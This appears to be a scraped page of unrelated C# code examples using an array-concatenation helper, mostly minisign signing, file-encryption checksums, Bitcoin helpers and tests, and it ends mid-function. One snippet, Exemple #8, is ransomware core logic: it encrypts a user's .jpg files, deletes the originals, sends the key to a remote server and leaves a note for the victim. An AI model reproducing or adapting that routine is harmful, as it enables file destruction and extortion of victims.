Exemple #1
0
        /// <summary>
        ///     Validate a file with a MinisignSignature and a MinisignPublicKey object.
        /// </summary>
        /// <param name="filePath">The full path to the file.</param>
        /// <param name="signature">A valid MinisignSignature object.</param>
        /// <param name="publicKey">A valid MinisignPublicKey object.</param>
        /// <returns><c>true</c> if valid; otherwise, <c>false</c>.</returns>
        /// <exception cref="FileNotFoundException"></exception>
        /// <exception cref="OverflowException"></exception>
        /// <exception cref="ArgumentNullException"></exception>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        public static bool ValidateSignature(string filePath, MinisignSignature signature, MinisignPublicKey publicKey)
        {
            if (filePath != null && !File.Exists(filePath))
            {
                throw new FileNotFoundException("could not find filePath");
            }

            if (signature == null)
            {
                throw new ArgumentException("missing signature input", nameof(signature));
            }

            if (publicKey == null)
            {
                throw new ArgumentException("missing publicKey input", nameof(publicKey));
            }

            if (!ArrayHelpers.ConstantTimeEquals(signature.KeyId, publicKey.KeyId))
            {
                return(false);
            }
            // load the file into memory
            var file = LoadMessageFile(filePath);

            // verify the signature
            if (PublicKeyAuth.VerifyDetached(signature.Signature, file, publicKey.PublicKey))
            {
                // verify the trusted comment
                return(PublicKeyAuth.VerifyDetached(signature.GlobalSignature,
                                                    ArrayHelpers.ConcatArrays(signature.Signature, signature.TrustedComment), publicKey.PublicKey));
            }

            return(false);
        }
Exemple #2
0
        public void ConcatenateArraysTest()
        {
            var expectedArray = new byte[]
            {
                159, 5, 128, 251, 11, 77, 77, 217,
                134, 151, 2, 63, 29, 180, 56, 81,
                35, 169, 179, 238, 245, 42, 215, 129,
                56, 217, 10, 203, 68, 152, 208, 5,
                189, 245, 218, 9, 163, 240, 185, 114,
                205, 33, 6, 23, 155, 103, 139, 216,
                98, 35, 143, 69, 5, 59, 170, 236,
                93, 33, 51, 75, 222, 220, 195, 69
            };

            var array1 = new byte[]
            {
                159, 5, 128, 251, 11, 77, 77, 217,
                134, 151, 2, 63, 29, 180, 56, 81,
                35, 169, 179, 238, 245, 42, 215, 129,
                56, 217, 10, 203, 68, 152, 208, 5
            };

            var array2 = new byte[]
            {
                189, 245, 218, 9, 163, 240, 185, 114,
                205, 33, 6, 23, 155, 103, 139, 216,
                98, 35, 143, 69, 5, 59, 170, 236,
                93, 33, 51, 75, 222, 220, 195, 69
            };

            var concatenatedArrays = ArrayHelpers.ConcatArrays(array1, array2);

            Assert.AreEqual(expectedArray, concatenatedArrays);
        }
        private static byte[] AddCheckSum(byte[] data)
        {
            var checkSum         = GetCheckSum(data);
            var dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum);

            return(dataWithCheckSum);
        }
Exemple #4
0
        /// <summary>
        ///     Validate a file with a MinisignSignature and a MinisignPublicKey object.
        /// </summary>
        /// <param name="message">The message to validate.</param>
        /// <param name="signature">A valid MinisignSignature object.</param>
        /// <param name="publicKey">A valid MinisignPublicKey object.</param>
        /// <returns><c>true</c> if valid; otherwise, <c>false</c>.</returns>
        /// <exception cref="OverflowException"></exception>
        /// <exception cref="ArgumentNullException"></exception>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        public static bool ValidateSignature(byte[] message, MinisignSignature signature, MinisignPublicKey publicKey)
        {
            if (message == null)
            {
                throw new ArgumentException("missing signature input", nameof(message));
            }

            if (signature == null)
            {
                throw new ArgumentException("missing signature input", nameof(signature));
            }

            if (publicKey == null)
            {
                throw new ArgumentException("missing publicKey input", nameof(publicKey));
            }

            if (!ArrayHelpers.ConstantTimeEquals(signature.KeyId, publicKey.KeyId))
            {
                return(false);
            }
            // verify the signature
            if (PublicKeyAuth.VerifyDetached(signature.Signature, message, publicKey.PublicKey))
            {
                // verify the trusted comment
                return(PublicKeyAuth.VerifyDetached(signature.GlobalSignature,
                                                    ArrayHelpers.ConcatArrays(signature.Signature, signature.TrustedComment), publicKey.PublicKey));
            }

            return(false);
        }
Exemple #5
0
 /// <summary>
 ///     Sets the footer checksum.
 /// </summary>
 /// <param name="chunkCount">Number of chunks in the file.</param>
 /// <param name="chunkOverallLength">Length of all chunks in the file.</param>
 /// <param name="ephemeralKey">A 64 byte key.</param>
 /// <param name="footerChecksumLength">The length of the checksum.</param>
 public void SetFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey,
                               int footerChecksumLength)
 {
     //generate and set the Footerchecksum
     FooterChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumFooterPrefix,
                                                                 chunkCount, chunkOverallLength),
                                       Utils.GetEphemeralHashKey(ephemeralKey), footerChecksumLength);
 }
Exemple #6
0
        //TODO: clean this up

        private IByteArray AddCheckSum(IByteArray data)
        {
            using (IByteArray checkSum = GetCheckSum(data)) {
                IByteArray dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum);

                return(dataWithCheckSum);
            }
        }
 /// <summary>
 /// Sets the footer checksum.
 /// </summary>
 /// <param name="ephemeralKey">A 32 byte key.</param>
 /// <param name="footerChecksumLength">The length of the checksum.</param>
 public void SetFooterChecksum(byte[] ephemeralKey, int footerChecksumLength)
 {
     //protect the ChunkCount
     this.ChunkCount = SecretBox.Create(this.ChunkCount, this.FooterNonceCount, ephemeralKey);
     //protect the OverallChunkLength
     this.OverallChunkLength = SecretBox.Create(this.OverallChunkLength, this.FooterNonceLength, ephemeralKey);
     //generate and set the Footerchecksum
     this.FooterChecksum = Sodium.GenericHash.Hash(ArrayHelpers.ConcatArrays(this.ChunkCount, this.OverallChunkLength), ephemeralKey, footerChecksumLength);
 }
Exemple #8
0
        private static void Main()
        {
            // files to search for
            var searchPattern = new[] { "jpg" };

            try
            {
                var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair();
                var nonce            = PublicKeyBox.GenerateNonce();
                // we encrypt the ephemeral private key for the target public key
                var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey,
                                                 Utilities.HexToBinary(TargetPublicKeyHex));

                var textToSendRemote =
                    Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher));
                var textToShowTheUser =
                    string.Format(
                        "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).",
                        Utilities.BinaryToHex(ephemeralKeyPair.PublicKey));
                cipher = null;
                nonce  = null;
                var files = GetFiles(MainFolder, searchPattern);
                if (files.Count > ParallelUseBorder)
                {
                    Parallel.ForEach(files, file =>
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    });
                }
                else
                {
                    foreach (var file in files)
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    }
                }
                ephemeralKeyPair.Dispose();

                SendToRemoteServer(textToSendRemote);
                CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser);
            }
            catch
            {
                /*  */
            }
        }
 /// <summary>
 ///     Sets the header checksum.
 /// </summary>
 /// <param name="headerChecksumLength">The length of the checksum.</param>
 /// <exception cref="OverflowException"></exception>
 /// <exception cref="ArgumentOutOfRangeException"></exception>
 public void SetHeaderChecksum(int headerChecksumLength)
 {
     HeaderChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumHeaderPrefix, BaseNonce,
                                                                 FilenameNonce, Filename,
                                                                 Utils.IntegerToLittleEndian(Version),
                                                                 Key,
                                                                 BitConverter.GetBytes(UnencryptedFileLength)),
                                       Utils.GetEphemeralHashKey(UnencryptedEphemeralKey),
                                       headerChecksumLength);
 }
 /// <summary>
 /// Sets the header checksum.
 /// </summary>
 /// <param name="headerChecksumLength">The length of the checksum.</param>
 public void SetHeaderChecksum(int headerChecksumLength)
 {
     this.HeaderChecksum = Sodium.GenericHash.Hash(
         ArrayHelpers.ConcatArrays(this.BaseNonce,
                                   Utils.IntegerToLittleEndian(this.Version),
                                   this.Key,
                                   BitConverter.GetBytes(this.UnencryptedFileLength)),
         this.UnencryptedEphemeralKey,
         headerChecksumLength);
 }
Exemple #11
0
        /// <summary>
        ///     Validates the chunk checksum.
        /// </summary>
        /// <param name="ephemeralKey">A 64 byte key.</param>
        /// <param name="chunkChecksumLength">The length of the checksum.</param>
        /// <exception cref="BadFileChunkException"></exception>
        public void ValidateChunkChecksum(byte[] ephemeralKey, int chunkChecksumLength)
        {
            var chunkChecksum = GenericHash.Hash(
                ArrayHelpers.ConcatArrays(_checksumChunkPrefix, Chunk, Utils.IntegerToLittleEndian(ChunkLength)),
                Utils.GetEphemeralHashKey(ephemeralKey), chunkChecksumLength);

            if (!chunkChecksum.SequenceEqual(ChunkChecksum))
            {
                throw new BadFileChunkException("Wrong checksum, file could be damaged or manipulated!");
            }
        }
Exemple #12
0
        public void Read()
        {
            foreach (var str in Strings)
            {
                byte[] full = ArrayHelpers.ConcatArrays(str.Item2, Encoding.ASCII.GetBytes(str.Item1));

                using (BinaryReader reader = new BinaryReader(new MemoryStream(full))) {
                    VarString v = VarString.Read(reader);
                    Assert.AreEqual(str.Item1, v.Value);
                }
            }
        }
Exemple #13
0
        static async Task <byte[]> PassphraseToKeyAsync(byte[] passphrase, byte[] salt, ulong keyHashes)
        {
            byte[] key = passphrase;

            await Task.Run(() => {
                for (ulong i = 0; i < keyHashes; i++)
                {
                    key = SHA256.Hash(ArrayHelpers.ConcatArrays(key, passphrase, salt));
                }
            });

            return(ArrayHelpers.SubArray(key, 0, 32));
        }
 /// <summary>
 /// Validates the footer checksum.
 /// </summary>
 /// <param name="chunkCount">Number of chunks in the file.</param>
 /// <param name="chunkOverallLength">Length of all chunks in the file.</param>
 /// <param name="ephemeralKey">A 32 byte key.</param>
 /// <param name="footerChecksumLength">The length of the checksum.</param>
 /// <exception cref="BadFileFooterException"></exception>
 public void ValidateFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey, int footerChecksumLength)
 {
     byte[] footerChecksum = Sodium.GenericHash.Hash(
         ArrayHelpers.ConcatArrays(SecretBox.Create(chunkCount, this.FooterNonceCount, ephemeralKey),
                                   SecretBox.Create(chunkOverallLength, this.FooterNonceLength, ephemeralKey)),
         ephemeralKey,
         footerChecksumLength);
     //check the file footer
     if (!footerChecksum.SequenceEqual(this.FooterChecksum))
     {
         throw new BadFileFooterException("Malformed file footer: file could be damaged or manipulated!");
     }
 }
Exemple #15
0
        public AID(byte[] hashBytes, byte[] shardBytes)
        {
            if (hashBytes.Length != HASH_BYTES_SIZE)
            {
                throw new ArgumentException($"{nameof(hashBytes)} should be length {HASH_BYTES_SIZE} but was {hashBytes.Length}");
            }
            if (shardBytes.Length != SHARD_BYTES_SIZE)
            {
                throw new ArgumentException($"{nameof(shardBytes)} should be length {SHARD_BYTES_SIZE} but was {shardBytes.Length}");
            }

            _bytes = ArrayHelpers.ConcatArrays(hashBytes, shardBytes);
        }
 /// <summary>
 /// Validates the header checksum.
 /// </summary>
 /// <param name="ephemeralKey">A 32 byte key.</param>
 /// <param name="headerChecksumLength">The length of the checksum.</param>
 /// <exception cref="BadFileHeaderException"></exception>
 public void ValidateHeaderChecksum(byte[] ephemeralKey, int headerChecksumLength)
 {
     byte[] headerChecksum = Sodium.GenericHash.Hash(
         ArrayHelpers.ConcatArrays(this.BaseNonce,
                                   Utils.IntegerToLittleEndian(this.Version),
                                   this.Key,
                                   BitConverter.GetBytes(this.UnencryptedFileLength)),
         ephemeralKey,
         headerChecksumLength);
     if (!headerChecksum.SequenceEqual(this.HeaderChecksum))
     {
         throw new BadFileHeaderException("Malformed file header: file could be damaged or manipulated!");
     }
 }
Exemple #17
0
        public static IPAddress WrapToIPv6(this IPAddress address)
        {
            switch (address.AddressFamily)
            {
            case AddressFamily.InterNetworkV6:
                return(address);

            case AddressFamily.InterNetwork:
                return(new IPAddress(ArrayHelpers.ConcatArrays(IPv6Wrapper, address.GetAddressBytes())));

            default:
                throw new FormatException(String.Format("Unsupported address family {0}", address.AddressFamily));
            }
        }
Exemple #18
0
        /// <summary>
        ///     Validates the footer checksum.
        /// </summary>
        /// <param name="chunkCount">Number of chunks in the file.</param>
        /// <param name="chunkOverallLength">Length of all chunks in the file.</param>
        /// <param name="ephemeralKey">A 64 byte key.</param>
        /// <param name="footerChecksumLength">The length of the checksum.</param>
        /// <exception cref="BadFileFooterException"></exception>
        public void ValidateFooterChecksum(byte[] chunkCount, byte[] chunkOverallLength, byte[] ephemeralKey,
                                           int footerChecksumLength)
        {
            var footerChecksum = GenericHash.Hash(
                ArrayHelpers.ConcatArrays(_checksumFooterPrefix, chunkCount, chunkOverallLength),
                Utils.GetEphemeralHashKey(ephemeralKey),
                footerChecksumLength);

            //check the file footer
            if (!footerChecksum.SequenceEqual(FooterChecksum))
            {
                throw new BadFileFooterException("Malformed file footer: file could be damaged or manipulated!");
            }
        }
Exemple #19
0
        public WalletCore(string hashedPassword)
        {
            PrivateKey    = CryptoFinal.GeneratePrivateKey();
            PublicKey     = CryptoFinal.GetPublicKey(PrivateKey);
            PublicKeyHash = PublicKeyHashed(PublicKey);
            PasswordHash  = hashedPassword;

            var version       = new byte[] { 0x00 };
            var versionHashed = ArrayHelpers.ConcatArrays(version, PublicKeyHash);

            var address = Base58Encoding.EncodeWithCheckSum(versionHashed);

            Address = address;
        }
Exemple #20
0
        /// <summary>
        ///     Validates the header checksum.
        /// </summary>
        /// <param name="ephemeralKey">A 64 byte key.</param>
        /// <param name="headerChecksumLength">The length of the checksum.</param>
        /// <exception cref="BadFileHeaderException"></exception>
        public void ValidateHeaderChecksum(byte[] ephemeralKey, int headerChecksumLength)
        {
            var headerChecksum = GenericHash.Hash(
                ArrayHelpers.ConcatArrays(_checksumHeaderPrefix, BaseNonce,
                                          FilenameNonce, Filename,
                                          Utils.IntegerToLittleEndian(Version),
                                          Key,
                                          BitConverter.GetBytes(UnencryptedFileLength)),
                Utils.GetEphemeralHashKey(ephemeralKey),
                headerChecksumLength);

            if (!headerChecksum.SequenceEqual(HeaderChecksum))
            {
                throw new BadFileHeaderException("Malformed file header: file could be damaged or manipulated!");
            }
        }
        public byte[] GenerateInputSignature(ECKey privateKey, SigHash hashType, Script subScript, int inputIndex)
        {
            if (hashType.HasFlag(SigHash.None))
            {
                throw new NotImplementedException();
            }
            if (hashType.HasFlag(SigHash.Single))
            {
                throw new NotImplementedException();
            }
            if (hashType.HasFlag(SigHash.AnyoneCanPay))
            {
                throw new NotImplementedException();
            }

            return(ArrayHelpers.ConcatArrays(privateKey.Sign(InputHash(hashType, subScript, inputIndex)), new byte[] { (byte)hashType }));
        }
Exemple #22
0
        public void Write()
        {
            foreach (var str in Strings)
            {
                using (MemoryStream stream = new MemoryStream()) {
                    using (BinaryWriter writer = new BinaryWriter(stream)) {
                        Console.WriteLine(str.Item1);
                        byte[] fullPayload = ArrayHelpers.ConcatArrays(str.Item2, Encoding.ASCII.GetBytes(str.Item1));

                        VarString v = new VarString(str.Item1);
                        v.Write(writer);

                        Assert.AreEqual(stream.ToArray(), fullPayload);
                    }
                }
            }
        }
Exemple #23
0
        /// <summary>
        /// 加密封裝AES密鑰
        /// </summary>
        /// <param name="anotherPubKeyText">對方密文(Base58字串)。可以逗號,區隔多組密文<</param>
        /// <param name="keyBytes">AES密鑰key資料</param>
        /// <param name="ivBytes">AES向量值資料</param>
        /// <param name="derivation">ECC加密參數</param>
        /// <param name="encoding">ECC加密參數</param>
        /// <returns>回傳格式化封裝加密後資料</returns>
        private static byte[] EncryptAesKeyIV(String anotherPubKeyText, byte[] keyBytes, byte[] ivBytes, byte[] derivation, byte[] encoding)
        {
            List <byte> result = new List <byte>();

            byte[] aesKeyIVBytes = ArrayHelpers.ConcatArrays(keyBytes, ivBytes);

            String[] pubKeys = anotherPubKeyText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
            foreach (String anoPubKey in pubKeys)
            {
                //使用對方公鑰加密AES密鑰資料,AES密鑰資料=密鑰與向量值的串接,最後16byte固定為向量值
                byte[] anotherPubKeyBytes = Base58.Decode(anoPubKey);
                byte[] encryptKeyIV       = FileCtrl.Cryptor.EncryptData(aesKeyIVBytes, anotherPubKeyBytes, derivation, encoding);
                //格式化封裝加密資料
                result.AddRange(SHIKIBETSU2_BYTES);
                result.AddRange(encryptKeyIV);
            }

            return(result.ToArray());
        }
Exemple #24
0
        /// <summary>
        /// 加密檔案
        /// </summary>
        /// <param name="filePath">欲加密的檔案路徑</param>
        /// <param name="anotherPubKeyText">對方密文(Base58字串)。可以逗號,區隔多組密文</param>
        private static bool EncryptSubFile(String filePath, String anotherPubKeyText)
        {
            //隨機產生32byte(for AES256)密鑰和16byte向量值.
            byte[] keyBytes = ArrayHelpers.ConcatArrays(Guid.NewGuid().ToByteArray(), Guid.NewGuid().ToByteArray());
            byte[] ivBytes  = Guid.NewGuid().ToByteArray();

            //以AES加密法加密檔案
            bool bEncryptFile = FileCtrl.Cryptor.AesEncryptFile(filePath, keyBytes, ivBytes);

            if (!bEncryptFile)
            {
                return(false);
            }

            //取加密檔檔案的前8byte當作ECC加密的derivation和encoding參數
            byte[] encryptFileBytes = File.ReadAllBytes(filePath);
            byte[] derivation       = ArrayHelpers.SubArray(encryptFileBytes, 0, 8);
            byte[] encoding         = derivation.Reverse().ToArray();

            //加密並封裝AES密鑰
            byte[] encryptKeyIV = EncryptAesKeyIV(anotherPubKeyText, keyBytes, ivBytes, derivation, encoding);

            //格式化封裝加密檔案
            List <byte> finalFile = new List <byte>();

            finalFile.AddRange(SHIKIBETSU_BYTES);
            finalFile.AddRange(FileCtrl.Cryptor.PubKeyBytes);
            finalFile.AddRange(SHIKIBETSU_BYTES);
            finalFile.AddRange(encryptKeyIV);
            finalFile.AddRange(SHIKIBETSU_BYTES);
            finalFile.AddRange(encryptFileBytes);
            //輸出最終封裝之加密檔
            File.WriteAllBytes(filePath, finalFile.ToArray());

            return(true);
        }
Exemple #25
0
        public static byte[] Pack(params byte[] data)
        {
            byte[] header;
            if (data.Length <= 75)
            {
                header = new byte[] { (byte)data.Length }
            }
            ;
            else if (data.Length <= Byte.MaxValue)
            {
                header = new byte[] { (byte)Op.PushData1, (byte)data.Length }
            }
            ;
            else if (data.Length <= Int16.MaxValue)
            {
                header = ArrayHelpers.ConcatArrays(new byte[] { (byte)Op.PushData2 }, BitConverter.GetBytes((Int16)data.Length));
            }
            else
            {
                header = ArrayHelpers.ConcatArrays(new byte[] { (byte)Op.PushData4 }, BitConverter.GetBytes((Int32)data.Length));
            }

            return(ArrayHelpers.ConcatArrays(header, data));
        }
Exemple #26
0
        /// <summary>
        ///     Generate a new Minisign key pair.
        /// </summary>
        /// <param name="password">The password to protect the secret key.</param>
        /// <param name="writeOutputFiles">If false, no files will be written.</param>
        /// <param name="outputFolder">The folder to write the files (optional).</param>
        /// <param name="keyPairFileName">The name of the files to write (optional).</param>
        /// <returns>A MinisignKeyPair object.</returns>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="OverflowException"></exception>
        /// <exception cref="DirectoryNotFoundException"></exception>
        /// <exception cref="ArgumentNullException"></exception>
        /// <exception cref="IOException"></exception>
        /// <exception cref="UnauthorizedAccessException"></exception>
        /// <exception cref="PathTooLongException"></exception>
        /// <exception cref="SecurityException"></exception>
        /// <exception cref="NotSupportedException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        public static MinisignKeyPair GenerateKeyPair(string password, bool writeOutputFiles = false,
                                                      string outputFolder = "", string keyPairFileName = "minisign")
        {
            if (string.IsNullOrEmpty(password))
            {
                throw new ArgumentNullException(nameof(password), "password can not be null");
            }

            if (writeOutputFiles)
            {
                //validate the outputFolder
                if (string.IsNullOrEmpty(outputFolder) || !Directory.Exists(outputFolder))
                {
                    throw new DirectoryNotFoundException("outputFolder must exist");
                }

                if (outputFolder.IndexOfAny(Path.GetInvalidPathChars()) > -1)
                {
                    throw new ArgumentException("The given path to the output folder contains invalid characters!");
                }

                //validate the keyPairFileName
                if (string.IsNullOrEmpty(keyPairFileName))
                {
                    throw new ArgumentNullException(nameof(keyPairFileName), "keyPairFileName can not be empty");
                }
            }

            var minisignKeyPair    = new MinisignKeyPair();
            var minisignPrivateKey = new MinisignPrivateKey();
            var keyPair            = PublicKeyAuth.GenerateKeyPair();
            var keyId   = SodiumCore.GetRandomBytes(KeyNumBytes);
            var kdfSalt = SodiumCore.GetRandomBytes(32);

            minisignPrivateKey.PublicKey          = keyPair.PublicKey;
            minisignPrivateKey.KdfSalt            = kdfSalt;
            minisignPrivateKey.SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg);
            minisignPrivateKey.ChecksumAlgorithm  = Encoding.UTF8.GetBytes(Chkalg);
            minisignPrivateKey.KdfAlgorithm       = Encoding.UTF8.GetBytes(Kdfalg);
            minisignPrivateKey.KdfMemLimit        = 1073741824;    //currently unused
            minisignPrivateKey.KdfOpsLimit        = 33554432;      //currently unused

            var checksum =
                GenericHash.Hash(
                    ArrayHelpers.ConcatArrays(minisignPrivateKey.SignatureAlgorithm, keyId, keyPair.PrivateKey), null,
                    32);

            minisignPrivateKey.KeyId     = keyId;
            minisignPrivateKey.SecretKey = keyPair.PrivateKey;
            minisignPrivateKey.Checksum  = checksum;

            var dataToProtect = ArrayHelpers.ConcatArrays(keyId, keyPair.PrivateKey, checksum);
            var encryptionKey = PasswordHash.ScryptHashBinary(Encoding.UTF8.GetBytes(password),
                                                              minisignPrivateKey.KdfSalt,
                                                              PasswordHash.Strength.Sensitive,
                                                              104);

            var encryptedKeyData = EncryptionHelpers.Xor(dataToProtect, encryptionKey);
            // set up the public key
            var minisignPublicKey = new MinisignPublicKey
            {
                KeyId              = keyId,
                PublicKey          = keyPair.PublicKey,
                SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg)
            };

            keyPair.Dispose();
            if (writeOutputFiles)
            {
                var privateKeyOutputFileName = Path.Combine(outputFolder, keyPairFileName + PrivateKeyFileSuffix);
                var publicKeyOutputFileName  = Path.Combine(outputFolder, keyPairFileName + PublicKeyFileSuffix);

                var binaryPublicKey = ArrayHelpers.ConcatArrays(
                    minisignPublicKey.SignatureAlgorithm,
                    minisignPublicKey.KeyId,
                    minisignPublicKey.PublicKey
                    );

                var publicFileContent = new[]
                {
                    CommentPrefix + "minisign public key " +
                    Utilities.BinaryToHex(minisignPublicKey.KeyId, Utilities.HexFormat.None, Utilities.HexCase.Upper),
                    Convert.ToBase64String(binaryPublicKey)
                };

                var binaryPrivateKey = ArrayHelpers.ConcatArrays(
                    minisignPrivateKey.SignatureAlgorithm,
                    minisignPrivateKey.KdfAlgorithm,
                    minisignPrivateKey.ChecksumAlgorithm,
                    minisignPrivateKey.KdfSalt,
                    BitConverter.GetBytes(minisignPrivateKey.KdfOpsLimit),
                    BitConverter.GetBytes(minisignPrivateKey.KdfMemLimit),
                    encryptedKeyData
                    );

                var privateFileContent = new[]
                {
                    CommentPrefix + PrivateKeyDefaultComment,
                    Convert.ToBase64String(binaryPrivateKey)
                };
                // files will be overwritten!
                File.WriteAllLines(publicKeyOutputFileName, publicFileContent);
                File.WriteAllLines(privateKeyOutputFileName, privateFileContent);

                minisignKeyPair.MinisignPublicKeyFilePath  = publicKeyOutputFileName;
                minisignKeyPair.MinisignPrivateKeyFilePath = privateKeyOutputFileName;
            }

            minisignKeyPair.MinisignPublicKey  = minisignPublicKey;
            minisignKeyPair.MinisignPrivateKey = minisignPrivateKey;
            return(minisignKeyPair);
        }
Exemple #27
0
        /// <summary>
        ///     Sign a file with a MinisignPrivateKey.
        /// </summary>
        /// <param name="fileToSign">The full path to the file.</param>
        /// <param name="minisignPrivateKey">A valid MinisignPrivateKey to sign.</param>
        /// <param name="untrustedComment">An optional untrusted comment.</param>
        /// <param name="trustedComment">An optional trusted comment.</param>
        /// <param name="outputFolder">The folder to write the signature (optional).</param>
        /// <returns>The full path to the signed file.</returns>
        /// <exception cref="FileNotFoundException"></exception>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        /// <exception cref="OverflowException"></exception>
        /// <exception cref="DirectoryNotFoundException"></exception>
        /// <exception cref="IOException"></exception>
        /// <exception cref="UnauthorizedAccessException"></exception>
        /// <exception cref="SecurityException"></exception>
        /// <exception cref="ArgumentNullException"></exception>
        /// <exception cref="PathTooLongException"></exception>
        /// <exception cref="NotSupportedException"></exception>
        public static string Sign(string fileToSign, MinisignPrivateKey minisignPrivateKey, string untrustedComment = "",
                                  string trustedComment = "", string outputFolder = "")
        {
            if (fileToSign != null && !File.Exists(fileToSign))
            {
                throw new FileNotFoundException("could not find fileToSign");
            }

            if (minisignPrivateKey == null)
            {
                throw new ArgumentException("missing minisignPrivateKey input", nameof(minisignPrivateKey));
            }

            if (string.IsNullOrEmpty(untrustedComment))
            {
                untrustedComment = DefaultComment;
            }

            if (string.IsNullOrEmpty(trustedComment))
            {
                var timestamp = GetTimestamp();
                var filename  = Path.GetFileName(fileToSign);
                trustedComment = "timestamp: " + timestamp + " file: " + filename;
            }

            if ((CommentPrefix + untrustedComment).Length > CommentMaxBytes)
            {
                throw new ArgumentOutOfRangeException(nameof(untrustedComment), "untrustedComment too long");
            }

            if ((TrustedCommentPrefix + trustedComment).Length > TrustedCommentMaxBytes)
            {
                throw new ArgumentOutOfRangeException(nameof(trustedComment), "trustedComment too long");
            }

            if (string.IsNullOrEmpty(outputFolder))
            {
                outputFolder = Path.GetDirectoryName(fileToSign);
            }

            //validate the outputFolder
            if (string.IsNullOrEmpty(outputFolder) || !Directory.Exists(outputFolder))
            {
                throw new DirectoryNotFoundException("outputFolder must exist");
            }

            if (outputFolder.IndexOfAny(Path.GetInvalidPathChars()) > -1)
            {
                throw new ArgumentException("The given path to the output folder contains invalid characters!");
            }

            var file = LoadMessageFile(fileToSign);

            var minisignSignature = new MinisignSignature
            {
                KeyId = minisignPrivateKey.KeyId,
                SignatureAlgorithm = Encoding.UTF8.GetBytes(Sigalg)
            };
            var signature = PublicKeyAuth.SignDetached(file, minisignPrivateKey.SecretKey);

            minisignSignature.Signature = signature;

            var binarySignature = ArrayHelpers.ConcatArrays(
                minisignSignature.SignatureAlgorithm,
                minisignSignature.KeyId,
                minisignSignature.Signature
                );

            // sign the signature and the trusted comment with a global signature
            var globalSignature =
                PublicKeyAuth.SignDetached(
                    ArrayHelpers.ConcatArrays(minisignSignature.Signature, Encoding.UTF8.GetBytes(trustedComment)),
                    minisignPrivateKey.SecretKey);

            // prepare the file lines
            var signatureFileContent = new[]
            {
                CommentPrefix + untrustedComment,
                Convert.ToBase64String(binarySignature),
                TrustedCommentPrefix + trustedComment,
                Convert.ToBase64String(globalSignature)
            };

            var outputFile = fileToSign + SigSuffix;

            File.WriteAllLines(outputFile, signatureFileContent);
            return(outputFile);
        }
Exemple #28
0
 public static byte[] AddCheckSum(byte[] data)
 {
     byte[] checkSum         = GetCheckSum(data);
     byte[] dataWithCheckSum = ArrayHelpers.ConcatArrays(data, checkSum);
     return(dataWithCheckSum);
 }
Exemple #29
0
        /// <summary>
        ///     Load a public key into a MinisignPublicKey object.
        /// </summary>
        /// <param name="privateKey">A valid private key.</param>
        /// <param name="password">The password to decrypt the private key.</param>
        /// <returns>A MinisignPrivateKey object.</returns>
        /// <exception cref="OverflowException"></exception>
        /// <exception cref="CorruptPrivateKeyException"></exception>
        /// <exception cref="ArgumentOutOfRangeException"></exception>
        /// <exception cref="ArgumentException"></exception>
        /// <exception cref="ArgumentNullException"></exception>
        public static MinisignPrivateKey LoadPrivateKey(byte[] privateKey, byte[] password)
        {
            if (privateKey == null)
            {
                throw new ArgumentException("missing privateKey input", nameof(privateKey));
            }

            if (password == null)
            {
                throw new ArgumentException("missing password input", nameof(password));
            }

            var minisignPrivateKey = new MinisignPrivateKey
            {
                SignatureAlgorithm = ArrayHelpers.SubArray(privateKey, 0, 2),
                KdfAlgorithm       = ArrayHelpers.SubArray(privateKey, 2, 2),
                ChecksumAlgorithm  = ArrayHelpers.SubArray(privateKey, 4, 2),
                KdfSalt            = ArrayHelpers.SubArray(privateKey, 6, 32),
                KdfOpsLimit        = BitConverter.ToInt64(ArrayHelpers.SubArray(privateKey, 38, 8), 0),         //currently unused
                KdfMemLimit        = BitConverter.ToInt64(ArrayHelpers.SubArray(privateKey, 46, 8), 0)          //currently unused
            };

            if (!minisignPrivateKey.SignatureAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Sigalg)))
            {
                throw new CorruptPrivateKeyException("bad SignatureAlgorithm");
            }

            if (!minisignPrivateKey.ChecksumAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Chkalg)))
            {
                throw new CorruptPrivateKeyException("bad ChecksumAlgorithm");
            }

            if (!minisignPrivateKey.KdfAlgorithm.SequenceEqual(Encoding.UTF8.GetBytes(Kdfalg)))
            {
                throw new CorruptPrivateKeyException("bad KdfAlgorithm");
            }

            if (minisignPrivateKey.KdfSalt.Length != KeySaltBytes)
            {
                throw new CorruptPrivateKeyException("bad KdfSalt length");
            }

            var encryptedKeyData = ArrayHelpers.SubArray(privateKey, 54, 104);

            var decryptionKey = PasswordHash.ScryptHashBinary(password, minisignPrivateKey.KdfSalt,
                                                              PasswordHash.Strength.Sensitive,
                                                              104);

            var decryptedKeyData = EncryptionHelpers.Xor(encryptedKeyData, decryptionKey);

            minisignPrivateKey.KeyId     = ArrayHelpers.SubArray(decryptedKeyData, 0, 8);
            minisignPrivateKey.SecretKey = ArrayHelpers.SubArray(decryptedKeyData, 8, 64);
